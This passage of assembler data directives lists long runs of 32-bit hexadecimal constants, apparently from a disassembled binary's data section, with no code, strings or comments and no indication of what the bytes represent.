9EF4D063h dd 0B6180860h, 7D07E402h, 0B0888A9Bh, 895821DCh, 447E1908h dd 6F103AD5h, 6A60843Ah, 0B1380522h, 10FCA68Bh, 13256FF8h dd 9D1C8543h, 0E0F7D047h, 730C75B0h, 0BDB8A5D6h, 9CC76727h dd 5E607E64h, 110493CEh, 8DEC0885h, 65E52888h, 80EF86Dh dd 9540A7FCh, 0B9A0893Eh, 4A926724h, 7E467CFCh, 0C0C3B51Ch dd 0E6297DF6h, 220B6DE3h, 0E3650F5Ch, 0E8701564h, 0F9297CB3h dd 4F9F919Ch, 302BC4C2h, 9959E21h, 60787914h, 0C9E3950h dd 0A6014E98h, 0E627984Dh, 2EB637h, 0CAB7905Ch, 1A000DE2h dd 0E5F8C55h, 598B8440h, 9E3E98B9h, 533F4782h, 0CC40C2E6h dd 4580D490h, 0F4DD48E1h, 5074AB2Ch, 3A5C175Bh, 0B72C2D63h dd 685402F8h, 905FB85Dh, 5CF6DCCh, 6A1E7B82h, 0FCFC8339h dd 87C29BAh, 76465Eh, 211BC0C7h, 0FA2A8BDFh, 0B0B159F2h dd 23182F97h, 0C9690F7Eh dd 72E53E03h, 2A3C1900h, 36A0C346h, 765F00DEh, 4C925AC5h dd 141F1EDCh, 680F7ABBh, 0A049AF34h, 3A32152Ch, 35241E80h dd 0C0DC0ACAh, 4CC505C4h, 0F2DCA248h, 77123067h, 59DCFF00h dd 0B12BC06Ch, 0E98464D4h, 0D830FBD2h, 18E17503h, 207458B9h dd 9A024C1Eh, 0E817DF8Dh, 1205C6Dh, 27F00435h, 2CC13A05h dd 6429F507h, 2D98663Bh, 368B1872h, 0CC707F62h, 46A0787h dd 1640F80Bh, 80F0D96h, 440930E3h, 4CDE296Fh, 0C7DCE040h dd 39F7CE1h, 8A52E4D4h, 0A7E7DB95h, 568700C4h, 451390D5h dd 50E82CD7h, 0B8E43B74h, 0FC0358C8h, 0DB6AD081h, 0BC1414B4h dd 2008C75h, 4A7C99B5h, 5B97AD72h, 14646EB9h, 22B4F533h dd 0EEA48050h, 0AA21441h, 7B2594FAh, 85E424E5h, 0F0AF5161h dd 740263DAh, 96DF6DADh, 0BD6C6113h, 0B9027863h, 7A890786h dd 803E8002h, 6FF47B90h, 0B28D00E0h, 7226D30Ch, 84E23FF0h dd 0F8BFC624h, 0BD6D008h, 7851C4D2h, 0E0183A79h, 621B260Fh dd 9519F835h, 0AB202DF8h, 20B30E0h, 7C4019DDh, 0DCBC1064h dd 98FC46h, 0E0B2604Dh, 3371E65Fh, 465E1CB6h, 4F251F63h dd 29502E80h, 0E69B352Bh, 0E1271084h, 576D0F97h, 0FCB1855Ch dd 391F0CE8h, 7585C70Dh, 90B9C187h, 10C86D65h, 6E4ED589h dd 44130744h, 97F1E686h, 7D41E9Ch, 38819FF1h, 0C42ADA8Dh dd 39505AE3h, 0DF0091C7h, 0B21E07C4h, 0F6845B9Ah, 69473135h dd 730938h, 280E4A66h, 44FCBD97h, 39E035BEh, 0C1F81DF8h dd 202B622Dh, 0F4E82598h, 0F830828Dh, 0D8B6A886h, 73E83225h dd 5B9F5018h, 8FDA4704h, 78C05D57h, 0BA050FE6h, 9644B0E4h dd 74467E18h, 1330DA03h, 0B3D0222Ch, 309A6359h, 0B4CECB4Ah dd 0DCC08888h, 3C9D0F7Eh, 713B34Ah, 0C55024B5h, 0C540ECFh dd 0E6971231h, 0C43068FCh, 0F9027D56h, 4D8AF200h, 3E70A362h dd 8C5C1E35h, 6D9D0296h, 10FA3327h, 894F947Dh, 21716CC2h dd 409205BEh, 8A6EDEC2h, 88D8B0B7h, 2ADC000Fh, 0B1249E23h dd 78013C6Ch, 617D3103h, 176008CBh, 0F2702F7Ch, 0AE02F846h dd 474636D2h, 4090D5A1h, 91005526h, 23176A7Dh, 589754Ch dd 7BCFFCAEh, 4098F527h, 3492D740h, 91AC979Fh, 0F3809FBCh dd 3728917Bh, 946C0189h, 0C2C90916h, 41A43132h, 3C75ED60h dd 9BB58BDCh, 6A42D480h, 2621C3F8h, 4AC47502h, 0F008178Eh dd 7D033D5h, 4E76313Dh, 0E804D8D5h, 0F80D86E0h, 23DC4C30h dd 8A72048Ch, 381C2B31h, 8A79007Ah, 205DF239h, 0D902021Bh dd 1D2F8C2Dh, 76A0080h, 0C490E550h, 28253900h, 2BB345C7h dd 88D432E8h, 4C80C4A8h, 2854120h, 0C6AE9D09h, 4CD1ACh dd 69180434h, 6E39C73Eh, 48B280F1h, 37A4A28Eh, 54964C36h dd 14CF340Ch, 0DE099060h, 0FFDE1FCh, 822D6854h, 0E65725E5h dd 3C79F459h, 0E49DE118h, 81C300F0h, 68BFA43Ah, 8B00B002h dd 7EBE704Eh, 9C0B197h, 30964BE9h, 80B1CC8Fh, 0F476FD35h dd 0C04CB937h, 0EBFD2D0Fh, 89138E3Fh, 0FC99C3C9h, 30814098h dd 0D51EB207h, 9F95F43h, 59762558h, 0DCBD05A8h, 64E90344h dd 57C0909Bh, 0D60B91F7h, 8AE63540h, 9760846Ch, 6226E02h dd 366256FEh, 433B190Eh, 9678DD27h, 7DC84C8Bh, 20FF1EC4h dd 3DCCD158h, 90B7F173h, 6A68BE8h, 0CD07F466h, 3FFE297Dh dd 0A2940525h, 19863000h, 0C1C91276h, 0CCC192B0h, 1822D7E2h dd 0CF47CB9h, 79078EE1h, 0CA180C7Ah, 0B0C9478h, 20A3F4D0h dd 0BD2F26E6h, 216D8BC0h, 49F98004h, 4394D26Ah, 101110A5h dd 87E84C58h, 1D7B08Ch, 9988EC3Fh, 31E98E25h, 0B53C30B9h dd 350B0E80h, 3AE908E5h, 17E2320h, 7DAEF123h, 0B829E8h dd 499DDCCh, 1E71C246h, 2E7DC54h, 856C208Bh, 46760074h dd 0F46F0073h, 0E39AF3E1h, 0E8DD16C3h, 0DC548038h, 8BBF90FAh dd 7994F118h, 0FB7183Bh, 0C6CA162Ah, 9AF82F80h, 650AA28Dh dd 54F40722h, 0AF12DB00h, 92F9AEF2h, 0F448966Ch, 0E938CA01h dd 3124A385h, 7B546E7Fh, 0AFFB9001h, 5C64F0C7h, 0BC50E0C6h dd 983D2753h, 757F6882h, 0A408DD01h, 5BDED834h, 5F14C31Ch dd 0B00416A4h, 0F4025DC8h, 0FCD60FF0h, 7084A029h, 5081251Fh dd 5D2B3CB9h, 20202A34h, 0CA2769BCh, 742C78D3h, 3784806Eh dd 0F402754Fh, 405EC193h, 9D5BCAB0h, 0A30790BDh, 0CAD0408Ch dd 4C5C464h, 0D5B3F76Dh, 0F21CE2D0h, 0F0C53065h, 309F5C00h dd 0D6404818h, 0CE121C76h, 0CC840B8Bh, 1C27D4A0h, 0E0B53644h dd 80BBE078h, 0C9E19D2h, 3A465Eh, 0E63E767Ah, 9E4B58FBh dd 33A34238h, 60513700h, 0F452454h, 68467434h, 0B54ED607h dd 58832035h, 36143029h, 9542C62h, 0C2A290h, 0E1CE981Ch dd 40F89CEFh, 24B051F4h, 8CA0F706h, 196ED4h, 0A3010BAEh dd 6615E21Eh, 0A0518400h, 97BB7893h, 0CFE00A2Ah, 3B982707h dd 38FC0AA8h, 0D2AC2005h, 816BBCC4h, 7AF01002h, 0FDE88E03h dd 0BF12E8ACh, 0B734B310h, 0E18C0A8h, 0E45C7601h, 50B9C244h dd 24B60F64h, 0B958BD14h, 200B8BECh, 8658772Fh, 8C160284h dd 41A86E30h, 88705D70h, 30CC89A2h, 3F2407B7h, 5660A857h dd 160C32FFh, 8C9B723Dh, 0AA090738h, 10789A83h, 9F92E7D4h dd 9CC71C62h, 6C60BB44h, 3B01EE0Fh, 26AF8D9h, 0C423C740h dd 0E8D00627h, 1EDC5301h, 0F48672BBh, 42407C20h, 30B292BDh dd 973034F2h, 383F0056h, 2ABA941Ah, 0E6F07008h, 0F0F1272Dh dd 0B7B0120h, 5983295Fh, 0D4D8413Ch, 0BAC60074h, 0F5C30033h dd 0F845917Dh, 494F8220h, 0F88BC0C3h, 910DC7C4h, 1889F118h dd 3B9B014Dh, 8D0F84A2h, 11543661h, 0D1276089h, 78E7D448h dd 44006474h, 9883750Eh, 0B7A9E388h, 0F810646Ch, 3606D34Ch dd 0D10359A3h, 4A2EC0C4h, 0F204F216h, 990B3089h, 0C4D7860Dh dd 2033F993h, 0D73189A2h, 170557C4h, 810D3FE4h, 20227E34h dd 10B0093Ch, 2B31A360h, 0C578A8B9h, 0BF04D4C0h, 84F23417h dd 753074F2h, 256A0092h, 0F826E331h, 9850BFB9h, 378159B8h dd 106DD411h, 0BE26B3h, 0F543FE35h, 7E9A520h, 0E752880Eh dd 0A08B840Eh, 405668F0h, 0EA053448h, 10C3C4F7h, 8C7A903Eh dd 3D9B0313h, 0D01FC80Eh, 4E02AC4Ch, 49533F62h, 636038EFh dd 1D423CD1h, 0CB71ABC4h, 0D0E68FB1h, 982E8720h, 80F32800h dd 0FD9218BCh, 0D30B896Bh, 0DF9051C3h, 7798207Eh, 6A5B7843h dd 0B58B0054h, 892B431Dh, 586648D4h, 0E8465E85h, 8CBBECB4h dd 0D18F7803h, 0AF7F1285h, 0C0B9DE1h, 8754206Ah, 40987A7Ch dd 0E619F500h, 0CB508814h, 232E0991h, 745092CAh, 9621D44h dd 6F99C329h, 0BC091489h, 0A4BC1402h, 8844A847h, 22F45D60h dd 0CBC6D100h, 0AB904E73h, 0BC7B5451h, 5AD0B00Eh, 76C4B4E5h dd 77CD0A00h, 2D25393Ah, 2B350BC8h, 5CC0E651h, 372DF0C4h dd 0C09E9h, 8DEBA0B8h, 0FC8F01A2h, 2FD20ED5h, 5FC7C0Dh dd 88E4E80Bh, 58AA04A4h, 802890EEh, 7CB420BCh, 0BA81370Bh dd 1F602042h, 0E63D9386h, 4EE000F1h, 344FECABh, 810C1C58h dd 5191E220h, 56EB3037h, 0CEB62B68h, 0B4236009h, 0B0787A13h dd 13FBB0E4h, 0B437513Dh, 0BA255728h, 12789397h, 0A935B2DAh dd 59F910C8h, 10C4D218h, 0EA4474D6h, 6BFCF0CFh, 0A452388Ah dd 155FE617h, 302040B4h, 57598EC0h, 238072F5h, 0B89D2589h dd 8A8044B7h, 909A8912h, 0B57B09D3h, 74D048B9h, 0B8E27618h dd 6187B1F1h, 0F0F43973h dd 0C4003B57h, 0B8E7CB33h, 0CA2904CCh, 0AC3D0320h, 0AD2888B0h dd 0BE003064h, 0CA65A1B1h, 0BDD7AEh, 0DB0BFDC7h, 0D947695Dh dd 0C616A404h, 20AC23F8h, 803C9B5Bh, 2AAEDBADh, 6C070209h dd 29D7FD94h, 4200D809h, 203F3C74h, 0E823094Bh, 0B452E0C8h dd 5CB08159h, 885621F8h, 53037FB0h, 10A83816h, 0C93A97F8h dd 0D9E042EEh, 187379DCh, 414B00A9h, 0FE44891h, 34B44C85h dd 0EA78CC84h, 144A2922h, 0DC005Ch, 1ECA6EBEh, 0A030C568h dd 8F80D09h, 0B0A8148Ah, 0CC302068h, 0BD27641Dh, 480C9035h dd 12E491F1h, 204AD107h, 97143DDCh, 30C8B97Ch, 0C059257Eh dd 0C6333787h, 31BB540h, 9DE45C51h, 3410B72Dh, 0C70B0660h dd 50FC53E7h, 0ED11384Ch, 200CAFBBh, 5E48ACF4h, 0C0E5072Ch dd 2EF87B2Dh, 69465E50h, 0A748C50Dh, 2C6E3AB8h, 0F091B700h dd 0ADE1E942h, 5EEC62BDh, 0F6451230h, 9A67F05Ch, 80F04876h dd 0BB5FB180h, 4324E145h, 0D5131023h, 22768CC1h, 5F0D2430h dd 2F7C21D0h, 0E4123FA5h, 4CE0D8E6h, 6C396E34h, 58862C17h dd 7FDB5904h, 0B312FCE9h, 0E824A93Fh, 0F5350405h, 0BE0218F2h dd 0CB9B042h, 0E98A0574h, 1EBB878h, 998C55DFh, 0C4F7B7C4h dd 591035D1h, 2F4B6CCFh, 2661239Ch, 1139090Eh, 0CA12A980h dd 6215C30Bh, 4982440h, 0BA99B55Eh, 80C8C4CEh, 622861C2h dd 0FEF06448h, 10AA48F2h, 9848D02Fh, 9E133339h, 54C8C92Ch dd 8E4D4E13h, 0C03AC8C8h, 3C887473h, 0BA559A3Eh, 0B78D01B2h dd 16DBD4Fh, 0DB49A181h, 39D13BCAh, 79173D64h, 5B56AD00h dd 0B06B7586h, 0F81A1C4Ah, 466442E8h, 7C71DFC6h, 2483451Ch dd 0F9FB2939h, 74D9A1ADh, 8FCD09EDh, 94766C0h, 1CDE2782h dd 8E2068D0h, 5EDC940Dh, 0C8008646h, 9930DFDAh, 6A097663h dd 493D6FF8h, 0A6024F44h, 346D84ABh, 0CC7E40C0h, 41B93AA6h dd 84465301h, 2A7D7CD0h, 7F233C3Bh, 77872A00h, 17E82993h dd 0A8D8394Fh, 8CB380F8h, 6D4F913h, 0CB90096Ch, 0D50B1805h dd 7059F4B9h, 0A4F85E68h, 802E04B4h, 3302B43Fh, 60A362B6h dd 254C7CCh, 352B2176h, 0AFFF9C3h, 467458F2h, 36AA0062h dd 56167EE5h, 251D0BB5h, 0CCF4C420h, 2E62942Ch, 30F168h dd 4F3CA3BCh, 0AF740B01h, 91BC9DB5h, 0A3AF803Fh, 4E2E0C9Fh dd 2E74E267h, 80AE4E5h, 0C396C479h, 69462821h, 4A640DD4h dd 688C8740h, 9AE8123Eh, 2D7600F0h, 0FC44C0E1h, 18F87324h dd 86406D64h, 3227F0C7h, 4AAC104Ch, 3C23182Fh, 52E5E809h dd 0EF6400A0h, 56332485h, 0D4279A5Dh, 7DB491C5h, 24CEC419h dd 3978E423h, 431F1CC4h, 131C2ECEh, 67E3F800h, 0B85D2D65h dd 668210D4h, 0BDD3025Eh, 7543D007h, 7311601Fh, 64F5B280h dd 860BF6C8h, 0A16D1907h, 0BBC4E80Ch, 5E1A803Dh, 806D180Eh dd 0D4B3E2E7h, 0C8795B3Dh, 7528FEDCh, 8603B533h, 0B070B3CEh dd 0C4CCA82Dh, 42C49CAAh, 88D30F7Fh, 4BAEDD0h, 0B13B1AE6h dd 0C080BC8Fh, 0C4FDAEC6h, 0F4CEBDF4h, 7F674400h, 533A421Bh dd 3EB00037h, 6482687Eh, 0D1FCFB0Bh, 0E0D1666Fh, 31D7534h dd 4FF8EBh, 0F1559C72h, 685846B5h, 0D2E21B00h, 38C4DC29h dd 4EC802C2h, 0D6E4F808h, 0D79604F4h, 811B044Dh, 40083C60h dd 0B1488B83h, 8C31E850h, 7E6A6D00h, 3DDADD3h, 3ABC26BEh dd 2BB30830h, 0C5C5C30Bh, 617DE418h, 6FCC9C2Bh, 7948C534h dd 1C24FA88h, 0C29C67EEh, 0C402D538h, 0B5E4D02Ch, 649D3010h dd 27C0CD04h, 22EB115Dh, 30791B94h, 0FC193FF1h, 2202841Ah dd 82547B26h, 0C481556Ch, 3F5C89CBh, 9CC31802h, 8BA041C0h dd 0B2F4720Dh, 0B9453069h, 4C58AF12h, 0AD1E2C31h, 402BA431h dd 0D9C23448h, 0A0BF3FE6h, 0A8A95688h, 0C6DA035Eh, 0F4FA35BBh dd 2D3B6B81h, 6A4B1070h, 7A61BBCDh, 9AE3408h, 2C8444EBh dd 0CC21406Ch, 220DCDh, 91F3305Ch, 2826F13Ch, 0D56E932Eh dd 3FB6837h, 0B93F7D24h, 0B037546h, 8DB0208Dh, 0E0002081h dd 0DE4D6A71h, 9D0448EFh, 3C91BC17h, 0E086FB82h, 0FD6C1B5Dh dd 81B884BDh, 522C3EB8h, 1B60444Ah, 9AD7E66h, 0A0B92B5Ah dd 9CFC58E2h, 1E8B4440h, 0FCE63FFBh, 0BDE57617h, 0E80C2F5Ch dd 0F672A4h, 62CA5026h, 0AB86F734h, 0E1743642h, 468082Fh dd 0C6B07380h, 3F604E30h, 310F0934h, 0DBC1FECBh, 2F136772h dd 42B6027h, 0C2407AC8h, 8391B614h, 7E4F4C1Eh, 0E019338Eh dd 0E6AC3041h, 21874F9h, 4545356h, 0F8C827D6h, 7750C407h dd 0B79533D4h, 0AB320384h, 3AB042D6h, 1A0045BBh, 3BBA857Fh dd 29F1B22h, 200DAC0Eh, 486AB64Ch, 63F08457h, 0EFAAF205h dd 0C8840834h, 2912F0BDh, 75108865h, 72645A03h, 98FD77A5h dd 8955E6h, 0B36C51FBh, 53C622C3h, 0B116ABE4h, 0BCC2BC5Fh dd 0C42CC77Eh, 74DD6031h, 0D6FA0001h, 0FB13BB47h, 150053E2h dd 1621B533h, 48736AAEh, 0DF10A84Ah, 2340862Fh, 0A4E54E49h dd 0B902AEECh, 98272AE2h, 2CA1839Ch, 18C6A836h, 9749A4Bh dd 7CF0B1DDh, 36019C6Eh, 2F5C29E3h, 0D13B64A9h, 32BDD440h dd 149820F0h, 3C4C5B3Fh, 23551BC0h, 430F7C88h, 0A77B54BFh dd 0FE608D9Ah, 250893D3h, 0CCC4AEA4h, 0FFF73244h, 8DB3D441h dd 0C814CE2Eh, 453C180h, 4E1DF45Ch, 8808B8D2h, 0D3E49D59h dd 0F2CC85ADh, 0DC7612D0h, 11B0073h, 97C6E611h, 3E880420h dd 77C8148Eh, 0FE62AC0h, 21449E81h, 69183128h, 405C086Ch dd 3A4A6289h, 0F5218CB2h, 0E8462C02h, 62C50DCh, 241271Eh dd 492411F4h, 0A3080CD3h, 63F4163h, 0AC8E3E4Ch, 65C03BC8h dd 0B6CA06Dh, 3AF62699h, 8B001079h, 0E28C97AFh, 0EC8409BBh dd 0F87CF940h, 68C2E6E0h, 0FB9B05C6h, 0E82D396Fh, 0EC1D80ACh dd 89EF92h, 0B02163D1h, 7BB6BAF4h, 23F06201h, 0C8C7555h dd 5870AC62h, 4C072E9Dh, 0A29A8DDBh, 0F86AEB87h, 182C21FDh dd 1C23D345h, 493065A2h, 227B00C9h, 997ACFCDh, 524A1ABBh dd 887C30B0h, 0FE33F18h, 92C08888h, 4870E0Ch, 385FE4DAh dd 3B44D9A9h, 70B24C2h, 2C370BE1h, 301E9F80h, 166A67E7h dd 0F40A53F8h, 6341A42Ch, 8004CC6Ch, 0E9B4137Bh, 1CCEC48h dd 5A57384h, 0C0C8FB9Fh, 54E013DBh, 0BCD39040h, 4D369A4h dd 0A8AD9473h, 38038874h, 0C620B24h, 0FD1A7E81h, 0A0239246h dd 0F278F24Ah, 8B7B3074h, 0F3296E00h, 0E2FF2537h, 34815EE3h dd 88008E90h, 6297C073h, 0A6005519h, 39FA2DEBh, 95C0E7E5h dd 97008844h, 9441F95h, 132A45h, 19942539h, 8844A2Bh, 0EA505B17h dd 42E200C1h, 7EE05803h, 92001C3Dh, 0B90FA4AFh, 4879A3h dd 7742D360h, 0DEEB20CAh, 1C0000BCh, 937E673h, 8A40D763h dd 0E7760D1Ch, 2079113Bh, 0BD1C35E4h, 0F4EE2A90h, 0AB574C09h dd 41A87693h, 68016F5Dh, 0B7CD4A8h, 0FC0BFA13h, 0C21030C8h dd 108B191Bh, 87D350h, 8BD1584Fh, 9AD754F0h, 0C53F269Ch dd 4D858034h, 0EC89F987h, 0CA3695Ah, 425E7064h, 54A4A135h dd 0CC922580h, 0D22950F0h, 861205Bh, 5910219Bh, 0E7836DA7h dd 0D490FBE4h, 318FD0ADh, 0ECF0B46Fh, 5C926B83h, 23C08202h dd 0FD2180Ch, 54285D5Eh, 7417959Eh, 1C80BB91h, 34058128h dd 0F70970FEh, 0DA87B1CBh, 0E52C0464h, 9BBF2BCFh, 151EC75Ch dd 626C9460h, 40F60029h, 3E7D18E6h, 86144A2Dh, 0F806348h dd 20745DD2h, 19B492C9h, 0EB8E1AC4h, 5DC0208Bh, 3607AE9Ah dd 0A4C5C93Fh dd 4421D9C0h, 2E8F1686h, 0EB282025h, 1D39CA4Ah, 0D1BC42h dd 0BD36C11Fh, 1A21C8h, 5889066Ch, 318C8BFBh, 24724600h dd 490CFEA4h, 0B1A33B3Bh, 6AFCA1CBh, 9F7488h, 0D6A0E4BAh dd 0DB50DC5Fh, 0CC016798h, 29E5B1BEh, 142D0C63h, 0C1479107h dd 0C030A46Ch, 4C1AEEEEh, 0F4B9B30Ch, 0B0275872h, 62C920D8h dd 0B5C488C1h, 8A6E4F30h, 476E844h, 0DF68D10Ch, 0F63C81BCh dd 0D710A62Bh, 85811031h, 0BF1B0888h, 3160CB1Ch, 9028DC07h dd 3E401B9h, 598F1087h, 54CCCFADh, 1639808h, 18D9FB18h dd 30ED3D08h, 8D0F1F0h, 281862BFh, 0BA1F02B8h, 3883BF03h dd 2740E608h, 0E9283F63h, 0C4082213h, 98EB1E24h, 0EC705C98h dd 7110C6ABh, 243108E7h, 0EC32830h, 0F7C0888h, 9068608h dd 30A69557h, 2C2008E1h, 522A338Dh, 0D93E2D50h, 0F08E351h dd 3D2018A9h, 0A43C1039h, 0CC963A80h, 0DF610408h, 5D108263h dd 9C08109Eh, 0EEB010FDh, 6CAD7D10h, 63593062h, 0CA240804h dd 0FC2F1818h, 0C560D908h, 4DBB3988h, 0DD089DD0h, 5DC201CEh dd 0F0712088h, 0C891908h, 0B85009A4h, 3742C8A8h, 79F510CFh dd 0A851DE08h, 998022Ch, 0C6B1285Bh, 9CDB40C5h, 0A551A459h dd 0D2AA3188h, 0DB993318h, 28CD8084h, 0A74B18C6h, 0C1DA3110h dd 1CC2D08h, 99998531h, 9008B9C3h, 59183B51h, 0BE3E189Fh dd 0D98B08CCh, 202F62B2h, 9C07B6F3h, 0E0480C08h, 0D280CF39h dd 5A91809Bh, 38118A81h, 0B9088827h, 0B1C40C0Ch, 0C1C63628h dd 5418263Ch, 0A97F9010h, 8C572884h, 66414E76h, 9EB185Fh dd 0B5592263h, 24102458h, 0F9DD8C68h, 0D9C98808h, 851422C2h dd 329503A0h, 8D7E1010h, 244CED10h, 8C8D504Ah, 105241C8h dd 0D5C8A250h, 44E704A4h, 0D90A0A1Dh, 0ECAF95B8h, 44D45D24h dd 508604EFh, 83EA706h, 8109583h, 0E8103CEAh, 0A88F1940h dd 0F1924B30h, 48C04A47h, 0E92499C8h, 79B98CDDh, 0C4D51055h dd 95EABFE9h, 0B260499Ch, 8E809822h, 10A24C03h, 10934A08h dd 0B119B935h, 0D6EF28DAh, 0F4598306h, 0CB3D8033h, 4024C181h dd 317C9248h, 0F708E939h, 0A9E101C2h, 3298C1A2h, 49303D7Ah dd 0D17DECA4h, 3F2FA68h, 58910DAh, 0FEBB1997h, 19950208h dd 2019B4D7h, 0C2D108E6h, 9C3002h, 0C3C5B494h, 4101A499h dd 34E9D690h, 0BF93874h, 67018E8Dh, 7996D800h, 5D006023h dd 1AF40315h, 9AED55D8h, 68D200C4h, 1BF64CB3h, 58F4066Bh dd 1D81E948h, 0AB04E087h, 0C8AAE45Eh, 9C789A40h, 221C0700h dd 0FDE19A4h, 945660C0h, 0E21E7E4Eh, 0D4232A06h, 1EA0A8A7h dd 422C90E6h, 0B38D1AE4h, 0DE0110D2h, 97CE0CFAh, 15F9E5E0h dd 0F05018ADh, 729EE0BEh, 28D09917h, 6015E84Eh, 433C28DDh dd 341F3B97h, 560C7B2Eh, 122618FBh, 0F04F0B2Dh, 3D1480B4h dd 0C28BF33h, 81F3EFE5h, 8B9A02A6h, 0CC3D8775h, 20FD8CC1h dd 20CC825Ah, 0F3E588F4h, 22009038h, 0AD9E9DCh, 28016F7Bh dd 0E43332C1h, 31815B4Dh, 0BE68E09Fh, 7F11983Ch, 0C341BF40h dd 0C18DEB1h, 187A8FE3h, 144CE140h, 8C907C99h, 2CB0DAC0h dd 0F68087F2h, 43538060h, 37E832F8h, 566B0B1Ah, 30D28678h dd 0C8D42A20h, 393200B8h, 0F33F6DDCh, 8C0E77E8h, 8CB9DDECh dd 2DC408FEh, 8C87AFD7h, 0AC062F9Dh, 46001036h, 0A337DF90h dd 182E2564h, 68E6DE0Bh, 87024D8Bh, 0D6D47B43h, 0C2840355h dd 0F31339C0h, 272D2100h, 6C354FAFh, 0B325189Bh, 1ED4C8D2h dd 490F7917h, 14F4CCF0h, 9CCD33BCh, 7C204080h, 501FF70Eh dd 0C406E1F3h, 1904A94h, 0E46D342Bh, 48047D1Dh, 0FD00DC90h dd 0C0FF444Dh, 805EC9E5h, 589077CEh, 9A876D18h, 3B884EB1h dd 6828C4AFh, 0D9B73B70h, 0DC6FB400h, 8B3B7F16h, 0DF8D971Ch dd 5B91D1C0h, 0C089CFC4h, 537E9A30h, 2B0270D2h, 6946394Fh dd 6A0C40F6h, 9ACD01CEh, 0D8DA537Ah, 0EF8CD02Ch, 0C27C9CF8h dd 13E0DD26h, 30D4FA03h, 0E4B8160Ah, 8790788h, 0C8617662h dd 6C3AE103h, 0C0BA9A4Ah, 0B0FB11Dh, 0A29F91B2h, 0C41B8B05h dd 0D43D814Bh, 0DC498977h, 0FC681218h, 7F4D0250h, 0E680C01Dh dd 0E209B3Ah, 23A9D427h, 0C390C380h, 3CC0051Fh, 44373BC4h dd 0F16D2CB0h, 27C80848h, 330B290Ch, 398D1042h, 758558D2h dd 0FDBDD994h, 9D9703E0h, 9FE84588h, 0C1DC2049h, 0CC54E50h dd 8CCD0B28h, 870265A1h, 0BDD4F32Bh, 84044071h, 8F8D1616h dd 4A98056Ah, 0D4A004E6h, 94EC7Dh, 3C7ACFCAh, 0F77F514h dd 9A439289h, 407B87E7h, 0E2EBDCA4h, 0D630507Eh, 3989119Fh dd 7EB00F67h, 0E3C05607h, 0BB72C19Bh, 0C008B0D4h, 51C4277Bh dd 21AD811Ah, 6A33E030h, 914810C5h, 0E508A801h, 0A6BE0FCh dd 90E64Ch, 7D1FE440h, 904D5BD4h, 0C0F7060h, 7435D36Ch dd 349970A4h, 0E26888h, 90DB0D3Fh, 34003E8Fh, 0C6C9EFE6h dd 60E0D480h, 128C48D9h, 0CA713B71h, 7CC38D1Ch, 5CF78F40h dd 4170E5E4h, 88B44459h, 44290B84h, 0F07D00Eh, 0C4317A7Fh dd 0E1015023h, 77D88BDCh, 8E101127h, 4309A022h, 203572h dd 17146D04h, 57D04800h, 2D50E5F3h, 88A80126h, 0FE864BBh dd 0A0F05781h, 91B562A2h, 1E1C33Ch, 7F1CB7C8h, 34C90B97h dd 3A45908Bh, 4F87389h, 6D005CF2h, 0DC8D9B24h, 7A50C976h dd 78F3041Bh, 867B61D4h, 4204F808h, 0F40BA9DEh, 81234492h dd 0D47948F8h, 0B88208C1h, 4DB3B13Fh, 0DF8CD0A2h, 33BEF400h dd 1039C2D3h, 0C63C6CAh, 3D10D460h, 0D24164C4h, 71880190h dd 202B3298h, 0B400AF2Bh, 85955DDAh, 7DCB33B3h, 0D420F3E3h dd 0C2D89225h, 0E8F50B60h, 17396A00h, 0D8901E87h, 0D4E903BAh dd 0C80341F8h, 2695B332h, 3D37A09Ah, 8D8800F7h, 0BB507294h dd 8098E665h, 189D415h, 7A048FCh, 4842CCF4h, 634BC30h dd 394C0095h, 0BDA10E5h, 0AD20D44Dh, 15DC397Eh, 0A0CB9400h dd 2738BA0Dh, 0F4520418h, 918A13F0h, 300139C4h, 0A70B6293h dd 0AFCD001Fh, 0CE330059h, 96CFFB4Dh, 326905D4h, 8CD42A88h dd 0E08B1Eh, 9C8C9073h, 5C46136Fh, 0B075F626h, 392D7482h dd 3C30602Bh, 3198C06Ah, 2851D3B3h, 5074DF4Dh, 15003F98h dd 8A6AD695h, 1D085Ch, 0B9284182h, 23DA0B35h, 2D3AA8A8h dd 0C92A2E04h, 9480399Dh, 39EEF4D2h, 0AC81DB4Eh, 43BAC589h dd 0EB34EC1Ah, 160F107Ch, 0FB54945h, 2C3640CEh, 2E327FFh dd 0C4226AE7h, 4800D1B4h, 586B470Ch, 6018901Bh, 3369F1CCh dd 7C39E81Dh, 12E84C79h, 7F00D4B4h, 0A8E4C697h, 40065E2Ch dd 77E65C64h, 0E024789Ah, 0AD0B4CDDh, 40B00F3Ch, 29C4AC9Fh dd 6AA89274h, 46D4F8EFh, 0DE0B98B3h, 213E0CF9h, 31324D24h dd 0E0B4C13Bh, 27EC202Ch, 4A0A1FFAh, 0F421D3CBh, 0C57BDA00h dd 7A8A0D83h, 0C208A82Ah, 878C2432h, 6EE59F78h, 0A64C8010h dd 540CEB33h, 24130873h, 48202229h, 0B2E6DA0Dh, 163AE5C8h dd 6F4820F4h, 460055E0h, 3A640D8Dh, 0EF0B16h, 0F5B308C6h dd 75F15C22h, 33AADE00h, 0D5179C9Fh, 0D44C268Ch, 19C23A2Ch dd 9A71C2C4h, 0E20B9450h, 0E1D20AC7h, 6B4F26Ah, 30386E68h dd 0B10884B1h, 0B3D40524h, 0D0C010E6h, 48FD7BC6h, 0D5B4F8A0h dd 0C9FDC889h, 0C4183908h, 4578B703h, 488A5490h, 33934086h dd 17DBE73Ah, 380B16F4h, 3A1303C3h, 3FF2E3ABh, 0BB258088h dd 41091411h, 47689A30h, 81D08CFCh, 285C2449h, 8D2A9CF2h dd 0B87A38D5h, 958E4082h dd 759A01ADh, 798C393Ch, 68E8D24Ah, 883EBA0Eh, 103534A4h dd 80A81CC7h, 13DBBC9Ah, 2D00534Eh, 0D305E4Dh, 9A9BE877h dd 9379C0C4h, 220B678Dh, 51382F60h, 17BD7F95h, 4E33D473h dd 4E8514B8h, 82E4C3DDh, 0A7E00084h, 16F9A436h, 410C8327h dd 0F7E87BE4h, 43390052h, 10225CFEh, 3394DEC8h, 5CD4E090h dd 4CBAD6h, 922C9BE9h, 0F10AE5BAh, 0C400489Ah, 49AE223Eh dd 2AF9D33h, 0D443EF40h, 0B0482D20h, 6037FFEh, 7768A04Ch dd 3F60C0DCh, 284217A4h, 8D410C7h, 0A7D47204h, 2E14811Bh dd 67702325h, 15850BD8h, 876D3CD1h, 493A52F9h, 4CF84C38h dd 70C42609h, 0B3340093h, 18636D7Ch, 30758646h, 3B6080E8h dd 42149EB9h, 0F7277329h, 0B1D48C20h, 38D508C0h, 0AA8B7C1Eh dd 